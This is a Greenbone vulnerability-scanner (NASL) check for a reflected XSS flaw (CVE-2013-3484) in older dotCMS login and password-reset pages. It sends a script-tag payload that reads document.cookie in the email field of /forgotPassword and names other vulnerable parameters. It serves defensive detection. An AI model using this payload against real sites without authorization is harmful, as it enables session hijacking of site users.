dotCMS Multiple Login Page XSS Vulnerabilities (SI-14) - Active Check

# SPDX-FileCopyrightText: 2014 Greenbone AG
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# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:dotcms:dotcms";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804294");
  script_version("2026-05-29T16:47:54+0000");
  script_tag(name:"last_modification", value:"2026-05-29 16:47:54 +0000 (Fri, 29 May 2026)");
  script_tag(name:"creation_date", value:"2014-05-13 16:14:20 +0530 (Tue, 13 May 2014)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_cve_id("CVE-2013-3484");
  script_name("dotCMS Multiple Login Page XSS Vulnerabilities (SI-14) - Active Check");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_dotcms_http_detect.nasl");
  script_require_ports("Services/www", 443);
  script_mandatory_keys("dotcms/http/detected");

  script_xref(name:"URL", value:"https://dev.dotcms.com/docs/known-security-issues?issueNumber=SI-14");
  script_xref(name:"URL", value:"https://web.archive.org/web/20210123030142/http://www.securityfocus.com/bid/60741");

  script_tag(name:"summary", value:"dotCMS is prone to multiple cross-site scripting (XSS)
  vulnerabilities.");

  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request and check whether it
  is able to read a cookie.");

  script_tag(name:"insight", value:"The flaw is due to an improper sanitization of Input passed via
  the '_loginUserName', 'my_account_login' or 'email' POST parameters to
  /application/login/login.html, /c/portal_public/login and /dotCMS/forgotPassword scripts
  respectively.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  HTML and script code in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"dotCMS versions prior to 2.3.2.");

  script_tag(name:"solution", value:"Update to version 2.3.2 or later.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

data = 'dispatch=forgotPassword&reset_password=true&email="><script>alert(document.cookie);</script>';
host = http_host_name(port: port);
url = dir + "/forgotPassword";

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", strlen(data), "\r\n\r\n",
             data);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: FALSE);

if(res =~ "^HTTP/1\.[01] 200" && "<script>alert(document.cookie);</script>" >< res && "dotCMS" >< res) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);